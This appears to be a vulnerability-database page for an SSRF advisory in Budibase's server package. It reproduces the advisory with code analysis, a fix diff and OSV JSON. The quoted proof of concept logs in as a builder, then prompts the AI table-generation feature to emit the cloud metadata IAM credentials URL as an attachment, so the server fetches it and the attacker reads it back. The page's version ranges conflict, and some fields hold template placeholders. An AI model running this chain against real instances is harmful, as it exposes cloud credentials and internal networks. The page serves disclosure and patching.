CVE-2026-73307: Budibase SSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-hfhx-w8p8-4hc7
CWE-918
Published
Advisory Summary

CVE-2026-73307 is a MODERATE ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Budibase libraries in the npm ecosystem. The issue involves ssrf via bare fetch() in uploadurl during ai table generation. Remediation is available in the latest vendor maintenance releases.

CVE-2026-73307 at a Glance

CVE Identifier CVE-2026-73307
GHSA Identifier GHSA-hfhx-w8p8-4hc7
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-73307

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@budibase/server fixed: Latest secure release
npm install @budibase/server@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @budibase/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-73307, inspect your project dependencies using npm:

npm ls @budibase/server

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @budibase/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation ## Summary The `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs). A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources. This is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF. ## Affected Versions <= 3.39.0 (current `lerna.json` version at time of analysis) ## Vulnerability Details ### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check ```typescript // packages/server/src/utilities/fileUtils.ts:21-23 export async function uploadUrl(url: string): Promise<Upload | undefined> { try { const res = await fetch(url) // No blacklist validation ``` This is called from: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114 async function processAttachments( entry: Record<string, any>, attachmentColumns: FieldSchema[] ) { function processAttachment(value: any) { if (typeof value === "object") { return uploadFile(value) } return uploadUrl(value) // String values treated as URLs, fetched without protection } ``` Which is triggered via `generateRows()` at line 34: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:34 await processAttachments(entry, attachmentColumns) ``` ### Compare with correct sibling: processUrlFile() in extract.ts ```typescript // packages/server/src/automations/steps/ai/extract.ts:139-144 async function processUrlFile( fileUrl: string, fileType: SupportedFileType, llm: LLMResponse ): Promise<ExtractInput> { const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist ``` The `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request: ```typescript // packages/server/src/automations/steps/utils.ts:100-112 export async function fetchWithBlacklist( url: string, request: RequestInit = {} ): Promise<Response> { const maxRedirects = 5 let nextUrl = url // ... for (let redirects = 0; redirects <= maxRedirects; redirects++) { await throwIfBlacklisted(nextUrl) // Validates against private IP ranges const response = await fetch(nextUrl, nextRequest) ``` ## Proof of Concept Prerequisites: Builder-level authentication, AI feature enabled on the instance. ```bash # Step 1: Authenticate as builder TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \ -H 'Content-Type: application/json' \ -d '{"username":"builder@example.com","password":"password123"}' \ -c - | grep budibase:auth | awk '{print $NF}') # Step 2: Create an app with a table that has an attachment column APP_ID="app_dev_xxxx" # Use existing app # Step 3: Use the AI table generation endpoint with a prompt designed to # produce internal URLs as attachment values. # The LLM will generate rows with attachment column values pointing to # internal services. curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \ -H "Content-Type: application/json" \ -H "Cookie: budibase:auth=$TOKEN" \ -d '{ "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/" }' # The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/") # which fetches the cloud metadata endpoint without any SSRF protection. # The response content is saved to object storage and a URL is returned in the row data. # Step 4: Read the created row to exfiltrate the metadata response curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \ -H "Cookie: budibase:auth=$TOKEN" # The attachment URL in the response points to the saved metadata content ``` ## Impact - Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens) - Internal service enumeration and data exfiltration from private network resources - Port scanning of internal infrastructure via timing/error differences - Bypass of network segmentation when Budibase is deployed in a DMZ or VPC ## Suggested Remediation Replace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`: ```typescript // packages/server/src/utilities/fileUtils.ts import fs from "fs" -import fetch from "node-fetch" import path from "path" import { pipeline } from "stream" import { promisify } from "util" import * as uuid from "uuid" import { context, objectStore } from "@budibase/backend-core" import { Upload } from "@budibase/types" import { ObjectStoreBuckets } from "../constants" +import { fetchWithBlacklist } from "../automations/steps/utils" // ... export async function uploadUrl(url: string): Promise<Upload | undefined> { try { - const res = await fetch(url) + const res = await fetchWithBlacklist(url) const extension = [...res.url.split(".")].pop()!.split("?")[0] ```

CVE-2026-73307 Affected Budibase Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@budibase/server
npm
≤ 3.38.1

References

Frequently Asked Questions

What is CVE-2026-73307?
CVE-2026-73307 is a security vulnerability in Budibase involving SSRF via bare fetch() in uploadUrl during AI table generation under CWE-918: Server-Side Request Forgery (SSRF).
Which Budibase versions are affected?
Affected versions include releases prior to current release patches across affected packages: @budibase/server.
What version fixes CVE-2026-73307?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @budibase/server affected?
Yes, @budibase/server is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-73307?
CVE-2026-73307 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-73307?
Run the dependency tree command: 'npm ls @budibase/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hfhx-w8p8-4hc7",
  "modified" : "2026-08-12T18:59:59Z",
  "published" : "2026-07-24T21:44:44Z",
  "aliases" : [ "CVE-2026-73307" ],
  "summary" : "Budibase: SSRF via bare fetch() in uploadUrl during AI table generation",
  "details" : "# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation\n\n## Summary\n\nThe `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).\n\nA builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.\n\nThis is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF.\n\n## Affected Versions\n\n<= 3.39.0 (current `lerna.json` version at time of analysis)\n\n## Vulnerability Details\n\n### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts:21-23\nexport async function uploadUrl(url: string): Promise<Upload | undefined> {\n  try {\n    const res = await fetch(url)  // No blacklist validation\n```\n\nThis is called from:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114\nasync function processAttachments(\n  entry: Record<string, any>,\n  attachmentColumns: FieldSchema[]\n) {\n  function processAttachment(value: any) {\n    if (typeof value === \"object\") {\n      return uploadFile(value)\n    }\n\n    return uploadUrl(value)  // String values treated as URLs, fetched without protection\n  }\n```\n\nWhich is triggered via `generateRows()` at line 34:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34\n        await processAttachments(entry, attachmentColumns)\n```\n\n### Compare with correct sibling: processUrlFile() in extract.ts\n\n```typescript\n// packages/server/src/automations/steps/ai/extract.ts:139-144\nasync function processUrlFile(\n  fileUrl: string,\n  fileType: SupportedFileType,\n  llm: LLMResponse\n): Promise<ExtractInput> {\n  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist\n```\n\nThe `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:\n\n```typescript\n// packages/server/src/automations/steps/utils.ts:100-112\nexport async function fetchWithBlacklist(\n  url: string,\n  request: RequestInit = {}\n): Promise<Response> {\n  const maxRedirects = 5\n  let nextUrl = url\n  // ...\n  for (let redirects = 0; redirects <= maxRedirects; redirects++) {\n    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges\n    const response = await fetch(nextUrl, nextRequest)\n```\n\n## Proof of Concept\n\nPrerequisites: Builder-level authentication, AI feature enabled on the instance.\n\n```bash\n# Step 1: Authenticate as builder\nTOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"builder@example.com\",\"password\":\"password123\"}' \\\n  -c - | grep budibase:auth | awk '{print $NF}')\n\n# Step 2: Create an app with a table that has an attachment column\nAPP_ID=\"app_dev_xxxx\"  # Use existing app\n\n# Step 3: Use the AI table generation endpoint with a prompt designed to\n# produce internal URLs as attachment values.\n# The LLM will generate rows with attachment column values pointing to\n# internal services.\ncurl -X POST \"http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Cookie: budibase:auth=$TOKEN\" \\\n  -d '{\n    \"prompt\": \"Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n  }'\n\n# The server will call uploadUrl(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n# which fetches the cloud metadata endpoint without any SSRF protection.\n# The response content is saved to object storage and a URL is returned in the row data.\n\n# Step 4: Read the created row to exfiltrate the metadata response\ncurl -X GET \"http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>\" \\\n  -H \"Cookie: budibase:auth=$TOKEN\"\n# The attachment URL in the response points to the saved metadata content\n```\n\n## Impact\n\n- Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)\n- Internal service enumeration and data exfiltration from private network resources\n- Port scanning of internal infrastructure via timing/error differences\n- Bypass of network segmentation when Budibase is deployed in a DMZ or VPC\n\n## Suggested Remediation\n\nReplace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`:\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts\nimport fs from \"fs\"\n-import fetch from \"node-fetch\"\nimport path from \"path\"\nimport { pipeline } from \"stream\"\nimport { promisify } from \"util\"\nimport * as uuid from \"uuid\"\n\nimport { context, objectStore } from \"@budibase/backend-core\"\nimport { Upload } from \"@budibase/types\"\nimport { ObjectStoreBuckets } from \"../constants\"\n+import { fetchWithBlacklist } from \"../automations/steps/utils\"\n\n// ...\n\nexport async function uploadUrl(url: string): Promise<Upload | undefined> {\n  try {\n-    const res = await fetch(url)\n+    const res = await fetchWithBlacklist(url)\n\n    const extension = [...res.url.split(\".\")].pop()!.split(\"?\")[0]\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.38.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-hfhx-w8p8-4hc7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/pull/18866"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/commit/72e602d68daeebe3b95b0ed87acd351a38e327d7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/3.39.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T21:44:44Z",
    "nvd_published_at" : null
  }
}